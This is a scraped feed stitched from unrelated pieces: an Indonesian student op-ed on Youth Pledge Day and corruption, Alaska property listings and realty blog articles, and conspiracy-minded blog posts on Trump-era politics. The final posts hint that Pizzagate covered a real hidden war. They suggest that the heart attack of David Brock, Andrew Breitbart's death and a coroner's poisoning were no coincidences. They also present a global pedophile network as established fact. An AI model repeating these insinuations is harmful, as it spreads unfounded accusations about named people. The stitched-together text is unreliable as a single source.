    SUMPAH Pemuda merupakan satu tonggak sejarah dan bukti bahwa pada 28 Oktober 1928 Bangsa Indonesia dilahirkan. Proses kelahiran Bangsa Indonesia ini merupakan buah dari perjuangan rakyat yang selama ratusan tahun hidup tertindas di bawah kekuasaan kaum kolonialis pada saat itu. Kondisi ketertindasan inilah yang kemudian mendorong para pemuda pada saat itu untuk membulatkan tekad demi mengangkat harkat dan martabat bangsa. Tekad inilah yang kemudian menjadi komitmen perjuangan rakyat Indonesia hingga berhasil mencapai kemerdekaannya pada 17 Agustus 1945.

    Hari sumpah pemuda diperingati setiap tahunnya pada 28 Oktober demi mengenang semangat juang para pemuda terdahulu yang dengan gagah berani memperjuangkan kemerdekaan Indonesia. Semangat yang berkobar melawan penjajah, sebuah pengakuan dari pemuda-pemudi Indonesia yang mengikrarkan bahwa satu tanah, satu bangsa, dan satu bahasa. Kini, setiap tahun kita memperingati Hari Sumpah Pemuda sebagai refleksi bahwasanya meskipun berbeda-beda suku, bahasa, ras, dan agama, tapi kita tetap satu, hidup di bawah payung yang sama, yaitu Negara Republik Indonesia. 

    Sejak kemerdekaan penjajah sudah tidak ada lagi di negeri kita, tapi masih ada “penjajah-penjajah pribumi” yang harus kita lawan. Penjajah itu ialah mereka-mereka yang melakukan praktik korupsi kolusi dan nepotisme (KKN). Mereka adalah musuh yang harus kita berantas bersama. Praktik KKN yang terus terjadi telah merugikan negara hingga berdampak pada semakin suburnya persoalan kemiskinan yang dihadapi negara ini.

     Korupsi merajalela
    Kita bisa melihat realita yang terjadi belakangan ini, bagaimana korupsi merajalela di negara kita. Bagaimana hukum begitu lemah dan tunduk pada penguasa. Negara kita adalah negara hukum. Tapi jika hukum tak bisa lagi menjadi pondasi yang kuat, apa mungkin rakyat bisa sejahtera? Ibarat sebuah rumah, hukum adalah pondasi, negara Indonesia adalah rumah, dan kita adalah penghuninya. Jika Pondasinya sudah tidak kuat, apakah rumah itu masih bisa berdiri kokoh? Apalagi jika terjangan angin dan badai kian kencang, maka rumah itu perlahan-lahan akan roboh dan hancur.

    Bercermin dari sejarah masa lalu, kita bisa melihat bagaimana perjuangan para pemuda dalam memperjuangkan kemerdekaan Indonesia. Meskipun mereka berasal dari berbagai daerah dan suku yang berbeda, mereka bisa menyatukan perbedaan-perbedaan itu demi mencapai cita-cita yang sama. Memaknai Hari Sumpah Pemuda adalah dengan mengingat kembali sejarah masa lalu untuk menumbuhkan kembali semangat perjuangan para generasi muda saat ini.

    Ironisnya, masih banyak generasi muda kita yang lupa bahkan apatis dengan sejarah bangsa ini. Bagaimana kita bisa memaknai hari sumpah pemuda, jika sejarah yang melatarbelakangi hal itu terjadi pun kita tidak tahu. Mengenang sejarah merupakan salah satu langkah kecil dalam memaknai hari sumpah pemuda, juga dengan menumbuhkan semangat dan jiwa kebangsaan, serta keinginan bersatu yang tinggi. Seperti kata Bung Karno dalam setiap pidatonya, “Jangan sekali-kali melupakan sejarah” yang akhirnya dikenal istilah “Jasmerah”.

    Realita yang kita hadapi kini adalah semangat para pemuda kian terkikis zaman. Persatuan dan kesatuan yang dulunya menjadi ruh perjuangan pemuda, sekarang telah berganti menjadi semangat individualis, primordialisme, dan etnosentrisme. Sebagai contoh, kini tawuran antar pemuda sesama anak bangsa semakin sering terjadi dan penyampaian aspirasi dilakukan secara anarkis yang mengganggu ketenangan dan ketertiban ditengah-tengah masyarakat.

    Semangat primordialisme pun kian menguat, hingga tanpa sadar telah membangun sekat-sekat keberagaman dalam kehidupan berbangsa. Jika semangat kedaerahan itu terlalu berlebihan, maka dapat mengancam persatuan nasional dan menimbulkan perilaku etnosentrisme. Seperti yang dikatakan Matsumoto (1996) bahwa “Etnosentrisme adalah kecenderungan untuk melihat dunia hanya melalui sudut pandang budaya sendiri”. 

    Sehingga terkadang etnosentrisme ini memunculkan sikap prasangka dan stereotype negatif terhadap etnis atau kelompok lain. Hal ini tentu saja akan berdampak pada menipisnya rasa persatuan dan saling memiliki dengan yang berbeda budaya. Tidak hanya itu, generasi muda juga mulai sering membuang-buang waktu dengan melakukan kegiatan-kegiatan yang tidak produktif, seperti duduk berjam-jam di warung kopi dan ketergantungan pada game online.

    Memaknai hari sumpah pemuda dapat kita lakukan dengan banyak cara, seperti generasi muda yang menjalankan fungsinya untuk mengawasi kinerja pemerintah dan kebijakan-kebijakan yang diambil. Ketika hukum begitu lemah dan tak berkutik pada para penguasa, maka generasi muda harus menjadi pengawas dan penegak ketimpangan itu. Generasi muda tidak hanya berdiam diri dan menjadi penonton terhadap ketidakadilan dan praktik KKN yang terus terjadi.

     Harus lebih peka

    Di samping itu, generasi muda juga berperan sebagai penyampai aspirasi masyarakat. Saat para wakil rakyat terbuai dengan jabatan dan kekuasaannya, maka di sinilah peran generasi muda, khususnya mahasiswa untuk bertindak sebagai penyampai aspirasi. Generasi muda harus lebih peka dan sensitif dengan masalah-masalah yang dihadapi masyarakat saat ini. Lebih kreatif dan solutif dalam menyelesaikan masalah-masalah yang terjadi. 

    Sebagai generasi muda kita harus ikut berkontribusi untuk membangun negara, seperti aktif di kegiatan-kegiatan yang berdampak positif di kampus dan masyarakat, serta mengembangkan potensi diri (skill) yang nantinya dapat berguna di masa mendatang. Selain itu, untuk menjalankan peran kita sebagai generasi muda, kita harus bisa menyatukan perbedaan-perbedaan yang ada menjadi satu kesatuan yang utuh. 

    Negara kita membutuhkan peran pemuda-pemudi untuk menumbuhkan kembali semangat sumpah pemuda dan nasionalisme yang kian memudar mengingat tantangan ke depan semakin berat dan kompleks. Momentum Sumpah Pemuda ini untuk mengingatkan kita kembali bahwa tidak boleh ada golongan yang merasa ditindas, dianaktirikan, atau diabaikan. Sumpah Pemuda harus melahirkan keadilan bagi seluruh warga negara tanpa ada diskriminasi.

    Saya berharap dengan adanya Hari Sumpah Pemuda ini menjadi cermin bagi kita semua untuk berkaca seperti apa bangsa kita saat ini. Ke depannya, semoga pemuda-pemudi Indonesia dapat terus menjaga semangat persatuan dan jiwa nasionalisme untuk mewujudkan cita-cita bersama menuju Indonesia yang maju, adil, dan sejahtera.

    * Cut Liza Novita Sari, Mahasiswi Jurusan Ilmu Komunikasi, Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Universitas Syiah Kuala (Unsyiah), Banda Aceh. Email: azaazaliza92@yahoo.com

    Editor : hasyim



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              Alaska Lodge For Sale L1 Caribou Lake Lodge, Homer, ALASKA 99603   
    Property Photo
    Caribou Lake Lodge on Caribou Lake. A lot of history here. Lodge building and 3 cabins. Not operating as a lodge. Great spot to get away or live a homesteading life style. About 2500' on the lake. Also including adjoining parcels 18520004 and 18512002. Total acreage of the 3 parcels is 168.42 acres.

    Mary E Trimble
    Mary E Trimble
    Associate Broker
    Cell Phone: (907) 299-2677
    Office Phone: (907) 235-7141

              Homer Alaska Bar for sale 3125 East End Road, 99603   
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    Popular local tavern known for friendly atmosphere, live music, and special events. The Downeast Saloon is part of the social fabric of Homer.

    Mary E Trimble
    Mary E Trimble
    Associate Broker
    Cell Phone: (907) 299-2677
    Office Phone: (907) 235-7141

              Business Opportunity 22185 Sterling Highway #1, #3, # 6, & #7, Ninilchik, ALASKA 99639   
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    Soaring Eagle is offering an opportunity to purchase unique, high quality properties and a profitable small business to entrepreneurial individuals or family for their enjoyment and profit.Included in the sale are:1.Two, one-bedroom oceanfront small summer homes together with a two bedroom home with loft and a three bedroom, two bath home.2.Three prime building sites for additional homes


    Mary E Trimble
    Mary E Trimble
    Associate Broker
    Cell Phone: (907) 299-2677
    Office Phone: (907) 235-7141


              Anchor Point Real Estate for sale-33915 Sandbeach Road    



    Property Photo
    This incredible home is perched on the Cook Inlet bluff overlooking the Anchor River, estuary, beach, Inlet, and the majestic west side mountains and volcanoes. Has been a successful B&B for six years. Also available is Lot 17 with a large shop/garage with substantial frontage on a private airstrip. Grab your fly rod and walk to the river. Beautifully furnished. Turn Key. Natural gas available.

    Mary E Trimble
    Mary E Trimble
    Associate Broker
    Cell Phone: (907) 299-2677
    Office Phone: (907) 235-7141

                 

    EAST ROAD HILLSIDE ESTATE.....This parcel is ideally located in the mid-bench climate zone overlooking the Spit and Bay. The view is powerful from all the potential building sites, take your pick. This is a special 

    Listing # 12-11928
    Price: $975,000
    Address
    4630 Hough Road
    City Name:
    Homer
    State:
    ALASKA
    Zip:
    99603
    Acres:
    15.57
    Area:
    490 - Homer
    County Name:
    Kenai Peninsula
    Schools
    Homer, Paul Banks/Homer
    Type:
    Vacant Land opportunity.

    Mary E Trimble
    Mary E Trimble
    Associate Broker
    Cell Phone: (907) 299-2677
    Office Phone: (907) 235-7141

              Anchor Point Real Estate for sale   

    Custom scribed round log home. Chalet cabin style. Warm and cozy feeling. Great place to spend the summers! Plenty of space to build additional structures. View of Augustine, Cook Inlet and the Anchor River Valley. Adjoins State Park and the Anchor River. Exterior refinished Sept 2009. Listing brokers are the Sellers.

    Listing # 13-2246
    Price: $325,000
    Address
    34460 Marysville Street
    City Name:
    Anchor Point
    State:
    ALASKA
    Zip:
    99556
    Bedrooms:
    1
    Bathrooms:
    1
    Square Ft.:
    1266
    Acres:
    1.52
    Area:
    480 - Anchor Point
    County Name:
    Kenai Peninsula
    Schools
    Homer, Chapman
    Type:
    Single Family Res
    Mary E Trimble
    Mary E Trimble
    Associate Broker
    Cell Phone: (907) 299-2677
    Office Phone: (907) 235-7141



              Anchor Point Real Estate for sale   

    Magnificent home on the bluff overlooking Cook Inlet just north of the Anchor River mouth. Custom oak cabinetry, huge attached garage and even larger shop, and a second separate 3bdrm 3bath home for guests or B&B. Converted to natural gas furnace.

    Listing # 11-14217
    Price: $595,000
    Address
    33065 Agusta Lane
    City Name:
    Anchor Point
    State:
    ALASKA
    Zip:
    99556
    Bedrooms:
    5
    Bathrooms:
    5.5
    Square Ft.:
    3392
    Acres:
    2.97
    Area:
    480 - Anchor Point
    County Name:
    Kenai Peninsula
    Schools
    Homer, Chapman
    Type:
    B & B Potential,Single Family Res

    Mary E Trimble
    Mary E Trimble
    Associate Broker
    Cell Phone: (907) 299-2677
    Office Phone: (907) 235-7141

              Anchor Point Real Estate for sale   

    This incredible home is perched on the Cook Inlet bluff overlooking the Anchor River, estuary, beach, Inlet, and the majestic west side mountains and volcanoes. Has been a successful B&B for six years. Also available is Lot 17 with a large shop/garage with substantial frontage on a private airstrip. Grab your fly rod and walk to the river. Beautifully furnished. Turn Key. Natural gas available.


    Price: $675,000
    Address
    33915 Sandbeach Road
    City Name:
    Anchor Point
    State:
    ALASKA
    Zip:
    99556
    Bedrooms:
    7
    Bathrooms:
    4.5
    Square Ft.:
    4508
    Acres:
    1.79
    Area:
    480 - Anchor Point
    County Name:
    Kenai Peninsula
    Schools
    Homer, Chapman
    Type:
    B & B Potential,Single Family Res


    Mary E Trimble
    Mary E Trimble
    Associate Broker
    Cell Phone: (907) 299-2677
    Office Phone: (907) 235-7141

              Selling Your Home Faster through Home Staging   
    During hot and cool home sale periods, there are homes which simply have difficulty generating buyer interest. While homes around it have offers coming in, they remain largely unseen and do not sell. The trick others have often discovered isn't just about pricing the home right. Or finding the perfect real estate agent. It's usually the homeowners have hired or taken the lead of a home stager.

    What is Home Staging?

    Home staging is the process of making a house look not only presentable to potential buyers, but look like their future home. Staging involves rearranging and/or updating the home's interior furniture and decor, de-cluttering and adding curb appeal. In general, a staged home is a clean, well-lit home depersonalized from the current resident.

    What Are the Basics of Home Staging?

    Home staging is about one fundamental principle--making the home look more like a new construction model than a family's home. Fit for a brochure is another way to think of home staging. But it involves these key factors:

    Clean and Clear

    The first thing which needs to be done is to lighten the load inside the home. Meaning, de-cluttering the space. Taking down family photos and other personal items is a must. Anything which personalizes the space has to be removed because it acts as a mental barrier to potential buyers. In addition, scrubbing the floors, freshening up the walls with some paint and dusting thoroughly is absolutely necessary.

    Light the Space

    Curtains and blinds are cleaned and opened. The more light inside a home, the better. It not only helps to "connect" the outside space, it makes the house appear more open. It also promotes a sense of warmth.

    Enhance Curb Appeal

    Mow the yard. Pull weeds. Plant colorful flowers and plants along the walkway and place potted plants or flowers near the door. Pressure wash the exterior walls and roof, along with the garage floor and driveway. If the paint looks worn even after the pressure washing, it's time to slap on a coat of paint.

    Highlight Key Features

    Pools, fireplaces, spas, kitchens and baths. These are key features in any home. Making them stand out is very important to staging the home properly. Using furnishings and decor, make those key features pop with pizzazz. Color goes a long way in making a home more inviting. Lastly, get some inspiration from home staging magazines. Or, look online at staged homes for guidance.


    For more information about Homer Alaska and Anchor Point Alaska Real Estate contact Coastal Realty Alaska
              The Benefits of Investing in a Multi-Family Property   
    New property investors often begin with buying a single family home. After all, they grew up in one and live in one--so it is only natural to choose a single family property at the beginning of an investment property venture. However, after the home has set vacant a few months for one or more times, new investors discover multi-family properties offer a more steady income.

    Advantages of Multi-Family Properties

    By far, the largest advantage is if one unit of a multi-family property is vacant, it doesn't cut the income stream to zero. While it may reduce it to 50 percent in a duplex, it is more preferable than no rent collection at all. In addition, maintenance fees and property management costs are reduced because their is only one unit, not several detached single family houses.

    Other Benefits of Investing in Multi-Family Properties

    While vacancy rates and multiple rent  payments are good reasons for owning multi-family properties, there are more benefits. Which, particularly over time, greatly enhance their investment value:

    Repair Expenses

    Having to replace ten roofs on ten single family homes is very expensive, even if done during separate times. But a ten unit multi-family property needing a new roof is one job and done. Ten single family homes means ten different permits, adding to the cost substantially.

    Property Management Fees

    Using the same example of ten single family homes versus a ten unit multi-family property, it's less expensive to incur property management fees. Single family homes tend to rent for more than apartment units. And with property management agencies basing their rates on the amount of rent collected, it means less of an expense.

    Selling and Holding

    Here again, selling ten single family homes will be more difficult that selling one multi-family property. Not only must each single family be negotiated separately, they all must pass inspection. Whereas with multi-family properties, there is only one structure. It also makes it easier with regard to real estate commissions. Investors won't have to deal with ten different personalities.

    Cap Rates

    The cap rate or net operating income/price is in play, making it a better investment generator. In other words, a multi-family property's value is based on how much income it generates and is not exclusively tied to the real estate market. So while a single family may decline in market value during downturns, multi-family properties continue to collect rents. And those rents are proof positive of the property's earning potential.


    For more information about Homer Alaska Real Estate contact Coastal Realty Alaska
              How Big City stress affects your health    


    The crime, the traffic, the congestion, the noise, and non-stop pace of the big city take its toll on your health. That’s not just anecdotal any longer, researchers are uncovering some not so surprising facts about the negative impact big cities have on peoples’ health.

    In the heart of the busy metropolitan jungles, more people suffer from heart attacks, strokes, and anxiety than those who live in more rural areas.

    The Big City is a Threat Your Physical Health

    All that traffic, high crime, and noise isn’t just going gentle into the night, it’s having a real affect on its residents physical well being. New research shows that people living in a big city have a higher risk of a heart attack and stroke.

    Busy commutes tend not only to be stressful, but detrimental as well. Spending hours on a train or hopping from bus to bus means a lot more time spent parked in a seat. That’s not good for the heart or the belly. Studies reveal that many choose to eat while commuting in an effort to save time. The net result is a bigger waistline, which increases blood pressure, decreases circulation, and cause more fatigue.

    More weight means a higher risk for hypertension and other physical health risks like high cholesterol. Simply put, less walking and more sitting have an adverse impact.

    It’s Also Mental, Studies Show

    Aside from the physical health risks, people living in big cities face a 21 percent higher risk of anxiety disorders, a 39 percent increase in mood disorders, thanks to a study conducted on 32 healthy participants which was published in the journal Nature.

    Conversely 24 participants from rural communities were included in this brain scan study,  a statistical dead-heat in the world of MRI. Those 24 people showed little to no signs of increased risk to their mental health, a finding that wouldn’t at all surprise the average urban dweller.

    The hustle and bustle of the big city isn’t healthy, physically or mentally, according to the research.

    A solution to these potential problems? Well, one such solution is to either move to a smaller, less stressful area like the Homer Alaska and Anchor Point area. Or, invest in a property to rent and buy a second home to vacation in the peaceful landscape only the 
    Homer Alaska and Anchor Point  area can offer can offer.
    For more information about Homer Alaska Real Estate contact Coastal Realty Alaska at 

    COASTAL REALTY 

    Mile 156.7 Sterling Hwy
    Anchor Point, AK 99556
    Phone: 907-235-7141
    Fax: 907-235-6876


              Spy vs Spy: Stuck in the Funhouse   

    Funhouses are only fun when you can leave them. When the distorting mirror images become your new, day-to-day reality construct, then it's not so much fun anymore. 

    I dreaded the 2016 Election because I had a very strong feeling that no matter who won we'd be plunged into a dystopian paradigm in which major power blocs would erupt into all-out warfare. And I sensed that neither Trump nor Clinton possessed the political skills or the communicative powers to keep the carnage fully out of our view. Or our path.


    And I was right.


    Trump's only been in office for a little over two months and I'm exhausted already. I'm certainly not alone in this. It all feels like a TV sitcom in its seventh season, well after the writers ran out of story ideas. The shark has been good and jumped. And the ratings (the approval ratings, in this case) are plunging too.


    What is truly demoralizing though is the utter transparency of the secret war playing out, the seemingly endless spy vs spy thrust and counter-thrust, and the obvious deceptions. Even more so is the Animal Farm-like metamorphosis of the Democratic Party into a full-blown, funhouse mirror of McCarthy-era Republicans, but with Glenn Beck-worthy conspiracy theories thrown in for good measure.


    I don't know about you but all of a sudden the world seems especially cold, hard, gray, harsh. Masks are coming off, velvet gloves tossed into wastebins. It doesn't seem to matter who wins the scorpion fight, you're still stuck with a scorpion.  

    We can't call out the play-by-play because it's largely being acted out behind closed doors. But we can look at the collateral damage and make certain speculations. There's no doubt that it would all be just as bad-- probably worse-- if Hillary won. Even so, this all feels especially grating.

    You've probably seen this story:
    Conspiracy theorist Alex Jones on Friday apologized to the owner of a Washington pizzeria that became the subject of a conspiracy theory about human trafficking last year. 
    Pizza shop Comet Ping Pong was thrust into the spotlight last year after a gunman allegedly fired a shot inside the restaurant. The suspect said he was investigating the unsubstantiated conspiracy theory that Hillary Clinton and her campaign chairman, John Podesta, were operating a child sex trafficking ring out of the restaurant. 
    The theory, which became known as Pizzagate, had circulated among far-right conspiracy theory websites and social media accounts. 
    “In our commentary about what had become known as Pizzagate, I made comments about Mr. Alefantis that in hindsight I regret, and for which I apologize to him,” Jones, who runs Infowars, said in a video. James Alefantis is the owner of Comet Ping Pong. 
    Jones said his website relied on reporters who are no longer employed by Infowars and that video reports about Pizzagate were removed from the website. He also invited Alefantis onto the show to discuss the incident.
    It was preceded by this story:
    FBI’S RUSSIA PROBE EXPANDS TO INCLUDE ‘PIZZAGATE’ THREATS 
    According to McClatchy News, the FBI’s Russian-influence probe agents are exploring whether far-right news operations, including the pro-Donald Trump sites Breitbart News and Infowars, “took any actions to assist Russia’s operatives.”  Trump’s ousted national security adviser Michael Flynn and his son, a member of the Trump transition team, were among those who boosted the so-called “PizzaGate” pedophile conspiracy theory.
    I doubt this will quell the fervor among the Pizzagaters on sites like 4chan and Voat. Given the suspicion many on the fringes regard Jones with it may in fact give the flagging movement a fresh jolt. Jones' apology may also have to do with the drive to purge YouTube of "extremist" content and the controversy over the use of advertising on videos corporate clients find objectionable. A World without Sin, as our Gordon might put it. 


    Washington Post headline, pre-election.

    So much for theories that the FBI was ready to make mass arrests of prominent Washington figures related to Pizzagate.  Has any "mass arrest" Internet story ever panned out?  

    Maybe it has:
    Donald Trump became president on Jan. 20. And in one short month, there were more than 1,500 arrests for sex crimes ranging from trafficking to pedophilia.  
    Big deal? You bet. In all of 2014, there were fewer than 400 sex trafficking-related arrests, according to FBI crime statistics. Liz Crokin at TownHall.com has put together a great piece on the push by the Trump administration to crack down on sex crimes. And she notes that while "this should be one of the biggest stories in the national news... the mainstream media has barely, if at all, covered any of these mass pedophile arrests. This begs the question – why?
    This may have nothing to do with Trump-- in fact, it's likely it doesn't-- since these kinds of actions are planned out months in advance. The arrests continue, in case you were wondering, with major busts going down on a near-weekly basis. Someone's cleaning house. 

    For what it's worth, I always reckoned that Pizzagate was in fact cover/distraction for a more hidden struggle, one that would take place under the radar*. As I noted back in November:

    No one is saying as much but this very much feels connected to a deeper, more covert war. 
    Why would I say such a thing? Because at the same time the Pizzagate story went dark we've seen major strikes taken against international pedophilia, which actually is a global conspiracy, with its own networks, secret codes and moles within established centers of power such as schools, police departments and governments.  
    With such combustible accusations-- and such potential for a scandal that could quickly spread out of control (ie., involve political figures you're not trying to destroy)-- you'd naturally expect the action to go dark and the fall guys to be placed pretty far down the foodchain. (Remember that a prior investigation bagged one of the most powerful people in Washington at one time, former Speaker of the House Dennis Hastert).†


    "EVER WONDER WHAT IT'D BE LIKE TO DIE IN A PLANE CRASH?" 



    It may be sheer coincidence, but James Alefantis' former partner suffered a major heart attack this week
    Media Matters for America founder David Brock was rushed to a hospital on Tuesday after suffering a heart attack. 
    According to a press release from MMA, the founder of the liberal media watchdog and analysis website was rushed to the hospital early Tuesday afternoon and received treatment.
    Sure, it may be coincidence. But I couldn't help but remember this story, published soon after the election
    Dems to David Brock: Stop Helping, You Are Killing Us 
    Democrats know they need someone to lead them out of the wilderness. But, they say, that someone is not David Brock.

    As David Brock attempts to position himself as a leader in rebuilding ademoralized Democratic Party in the age of Trump, many leading Democratic organizers and operatives are wishing the man would simply disappear.
     
    "Disappear." Huh. 
    Many in the party—Clinton loyalists, Obama veterans, and Bernie supporters alike—talk about the man not as a sought-after ally in the fight against Trumpism, but as a nuisance and a hanger-on, overseeing a colossal waste of cash. And former employees say that he has hurt the cause.
    It's worth remembering that Breitbart.com Andrew Breitbart died of a heart attack at the age of 43. A year before he'd posted a cryptic tweet that some have since linked to the Pizzagate imbroglio.  Just before his death he hyped some revelation about Barack Obama's past. 

    A coroner in the office handling Breitbart's body subsequently died of arsenic poisoning. The day Breitbart's autopsy results were revealed, in fact.

    COME BACK ROY COHN, ALL IS FORGIVEN


    We also saw James Comey revive Russiagate, which had been flatlining after Vault 7. Any illusions among Trump fans that the FBI was secretly on their side were ground into powder, between this revelation and the Pizzagate conspiracy investigations. 

    One can't help but wonder if the New Praetorians (I've noticed that the Praetorian meme has been picked up by more prominent commentators, but you heard it here first) are losing their last shred of patience with Donald Trump's shenanigans and are planning imminent regime change: 
    WASHINGTON (AP) — The FBI is investigating whether Donald Trump’s associates coordinated with Russian officials in an effort to sway the 2016 presidential election, Director James Comey said Monday in an extraordinary public confirmation of a probe the president has refused to acknowledge, dismissed as fake news and blamed on Democrats. 
    In a bruising five-hour session, the FBI director also knocked down Trump’s claim that his predecessor had wiretapped his New York skyscraper, an assertion that has distracted White House officials and frustrated fellow Republicans who acknowledge they’ve seen no evidence to support it.
    How surreal is the world in which you know live in? So much so that mainstream political site The Hill is comparing the action in Washington to a Stanley Kubrick film, one which has become notorious for the conspiracy theories that have been projected onto it (and is well familiar to Synchronauts):
    On the 40th anniversary of the publication of The Shining, Stephen King must be wondering if Washington is working on its own sequel. For the last couple months, Washington has been on edge, like we are all trapped in Overlook Hotel with every day bringing a new “jump scare,” often preceded by a telltale tweet. Indeed, a Twitter whistle has replaced suspenseful music to put the entire city on the edge of their seats. 
    In this Shining sequel, however, people are sharply divided on who is the deranged ax-wielding villain in this lodge, the president or the press. Ironically, with the recent disclosure that some of the Trump campaign may indeed have been subject to surveillance, the president is looking more like Danny Torrence, a character dismissed for constantly muttering “redrum, redrum” until someone finally looked in a mirror at the reverse image to see the true message.
    Yeah, I'm not really feeling that metaphor there, but whatever. It's been that kind of year.

    Now the Internet is burning up with theories that disgraced National Security Adviser Michael Flynn has "turned" and is going to testify against the Trump Administration, or at least figures attached to it. 


    It's hard to imagine a three-star general can be stupid enough to be guilty of things Flynn's been accused of but that may speak to a culture of impunity in Washington, in which your misdeeds are only punished if you get on the wrong side of the wrong people.

    LIKE A BAD CYBERPUNK NOVEL


    One wonders if the secret war has spread outside Washington. Car service giant Uber seems to be having a major run of rotten luck lately: 
    Uber Technologies Inc. is suspending its self-driving car program after one of its autonomous vehicles was involved in a high-impact crash in Tempe, Arizona, the latest incident for a company reeling from multiple crises. 
    In a photo posted on Twitter, one of Uber’s Volvo self-driving SUVs is pictured on its side next to another car with dents and smashed windows. An Uber spokeswoman confirmed the incident, and the veracity of the photo, and added that the ride-hailing company is suspending its autonomous tests in Arizona until it completes its investigation and pausing its Pittsburgh operations.

    The incident also comes as Uber, and Chief Executive Officer Travis Kalanick, are currently under scrutiny because of a series of scandals. The ride-hailing company has been accused of operating a sexist workplace. This month, the New York Times reported that Uber used a tool called Greyball to help drivers evade government regulators and enforcement officials. Kalanick said he needed "leadership help" after Bloomberg published a video showing him arguing with an Uber driver.
    So who did Kalanick piss off? 

    Coincidentally- there's that word again- the crash comes soon after Wikileaks revealed that CIA hackers had the ability to override the computer systems in automobiles. From Mashable:

    WikiLeaks has published a trove of files it says are linked to the CIA's hacking operations — which apparently includes efforts to hack into cars.  
    The first in a series called "Vault 7," "Year Zero" supposedly comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virginia.  
    "Year Zero" details the CIA's malware arsenal and "zero day" exploits against Apple iPhones, Google's Android operating system, Microsoft Windows and even Samsung TVs.  
     According to a document from 2014, the CIA was also looking at infecting the vehicle control systems used by modern cars and trucks. 
    Oh, that's reassuring. Speaking of control systems, apparently pimps are controlling prostitutes with RFID chips:
    It turns out this 20-something woman was being pimped out by her boyfriend, forced to sell herself for sex and hand him the money. 
     “It was a small glass capsule with a little almost like a circuit board inside of it,” he said. “It's an RFID chip. It's used to tag cats and dogs. And someone had tagged her like an animal, like she was somebody's pet that they owned.” 
    This is human trafficking. It’s a marginal issue here in the U.S. for most of us. Part of that is because the average person isn’t sure what human trafficking – or modern day slavery – actually means.
    Technology is our friend, right? And now this: 
    Turkish Hackers Threaten To Wipe Millions Of iPhones; Demand Ransom From Apple 
    Today, courtesy of CIO, we learn that a group of hackers referring to themselves as the "Turkish Crime Family", has been in direct contact with Apple and is demanding a $150,000 ransom by April 7th or they will proceed to wipe as many as 600 million apple devices for which they allegedly have passwords. 
    The group said via email that it has had a database of about 519 million iCloud credentials for some time, but did not attempt to sell it until now. The interest for such accounts on the black market has been low due to security measures Apple has put in place in recent years, it said.

    Since announcing its plan to wipe devices associated with iCloud accounts, the group claimed that other hackers have stepped forward and shared additional account credentials with them, putting the current number it holds at over 627 million.

    According to the hackers, over 220 million of these credentials have been verified to work and provide access to iCloud accounts that don't have security measures like two-factor authentication turned on.
     
    Of course, if credible, with an ask of just $150k, this is the most modest group of hackers we've ever come across.
    Given the war that's erupted between the increasingly aggressive Turkish government and the EU, money may clearly not be the object here. Turkish PM Erdogan is clearly set on reconstructing the old Ottoman Empire and shivving Apple might just be part of the march.

    Besides, Turkey is taking that recent coup attempt-- which is almost universally blamed on the CIA-- very personally.


    Speaking of the EU, we've seen stories that Trump advisor Steve Bannon wants to dissolve the union. Which may be why Trump-adversary John McCain announced his unalloyed support for it- and the "New World Order" (his words, not mine):
    The world "cries out for American and European leadership" through the EU and Nato, US senator John McCain said on Friday (24 March). 
    In a "new world order under enormous strain" and in "the titanic struggle with forces of radicalism … we can't stand by and lament, we've got to be involved," said McCain, a former Republican presidential candidate who is now chairman of the armed services committee in the US Senate. 
    Speaking at the Brussels Forum, a conference organised by the German Marshall Fund, a transatlantic think tank, he said that the EU and the US needed to develop "more cooperation, more connectivity". 
    "I trust the EU," he said, defending an opposite view from that of US president Donald Trump, who said in January that the UK "was so smart in getting out" of the EU and that Nato was "obsolete". 
    He said that the EU was "one of the most important alliances" for the US and that the EU and Nato were "the best two sums in history", which have maintained peace for the last 70 years. "We need to rely on Nato and have a Nato that adjusts to new challenges," he said.
    Would McCain speak this way to a domestic audience? Of course not. Or maybe he would- I can't tell which way is up anymore. But either way it's good to know where he really stands.

    Like McCain, China continues to sound a similar note of support for globalization, on which its very economic survival so desperately depends:
    Chinese Vice Premier Zhang Gaoli told a gathering of Asian leaders that the world must commit to multilateral free trade under the World Trade Organization and needs to reform global economic governance. 
    “The river of globalization and free trade will always move forward with unstoppable momentum to the vast ocean of the global economy,” Zhang said. China will remain a strong force in the world economy and for peace and stability, he said, adding that countries must respect one another’s core interests and refrain from undermining regional stability. 
    I suppose this is why China is off the target list for our new Cold (?) Warriors.

    I've resisted posting on all this because it's all so depressing. I've actually written a few pieces on this chicanery that I ended up roundfiling. But I suppose I just wanted to go on the record about all this skullduggery, for posterity's sake.



    UPDATE: Sex trafficking arrests and trials continue to proliferate. Most recent bust, an international ring in Minnesota. There is way too much activity going down in too short a time for this to be spontaneous.


    * Which is exactly why I refrained from commenting on it here for the most part, instead noting that it had become a kind of memetic virus in much the same way that the Franklin/Boy's Town scandal had in the 90s. (Note that prior to the election-- and Pizzagate-- Trump nemesis the Washington Post was all over the issue of sex trafficking in the nation's capital). 

    † The ongoing legal and police actions coinciding with the moves to shut down the Pizzagate fringes on the Web seem like the exact kind of action one would expect if there were a serious operation at work. Shutting down the Internet chatter makes perfect sense in this context because it can only complicate cases made by prosecutors. 
              The Present Can Only Be Viewed from the Past   


    2017 might seem like the hangover after a particularly-nasty meth, glue and Thunderbird bender, but it's actually a year of major anniversaries. We're coming up on the 70th Anniversary of Kenneth Arnold and Roswell (as well as the National Security Act), the 50th Anniversary of Sgt. Pepper and the Summer of Love and the centennial of the Russian Revolution. But there are a lot more observances, all kinds of 'ennials to observe. 

    I thought I'd dig into a few anniversaries germane to The Secret Sun and the topics we look at here. Readers are encouraged to weigh in with their own (observations that can be counted in multiples of five and ten, that is) in the comments.

    December will see the fifth anniversary of the 2012 apocalypse/ascension/ absurdity (depending on your point of view). Needless to say, most of us are still here and the skies didn't open and Nibiru didn't come crashing into the moon. So there goes another apocalypse. 

    I can't help but wonder about the 2012 meme, though. As I wrote a couple years back, it certainly seems like something changed that year, that the bottom fell out somewhere but no one seemed to notice it at the time. 

    I mean, Donald Trump is sitting in the White House, isn't he? If even you're a Trump supporter you have to admit this would have seemed impossible five years ago.

    Maybe the Apocalypse works on a different timeline than it does in the movies. Maybe we're living in one only we can't see the forest fire for the burning trees. History can only be written from a distance.

    2007 was the year Our Gods Wear Spandex was published and the year I began actively blogging on this site, so Happy Ten Year Anniversary to me. It's also the year that a newly-elected Senator - with a weird, oblique connection to the Council of Nine - announced his candidacy for President.


